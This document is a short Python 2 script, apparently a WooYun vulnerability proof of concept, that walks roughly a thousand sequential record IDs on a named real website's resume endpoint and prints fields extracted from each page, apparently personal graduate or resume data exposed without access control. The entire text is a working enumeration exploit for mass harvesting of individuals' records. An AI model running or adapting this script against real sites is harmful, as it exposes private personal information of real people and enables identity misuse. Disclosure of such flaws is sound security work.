WooYun.org

# -*- coding:utf-8 -*-
import requests
import re
class Spider:
    def __init__(self):
        self.site="http://www.hunbys.com/hnbys/resume.do?m=grda&perid=%s"
    def gethtml(self,index):
        url=self.site%str(index)
        html=requests.get(url,timeout=10).content
        return html
        
def match_re(html):
    if html.find('消息提示')==-1:
        pattern=re.compile('<td width="50%" al.*?>(.*?)</td>.*?<td ali.*?>(.*?)</td>.*?<td al.*?>(.*?)</td>',re.S)
        items=re.findall(pattern,html)
        for i in items:
            print i[0],i[1],i[2]
            print ""
    else:
        return ""
if __name__ == "__main__":
        
    spider=Spider()
    for i in xrange(1023310,1024310):
        html=spider.gethtml(i)
        match_re(html)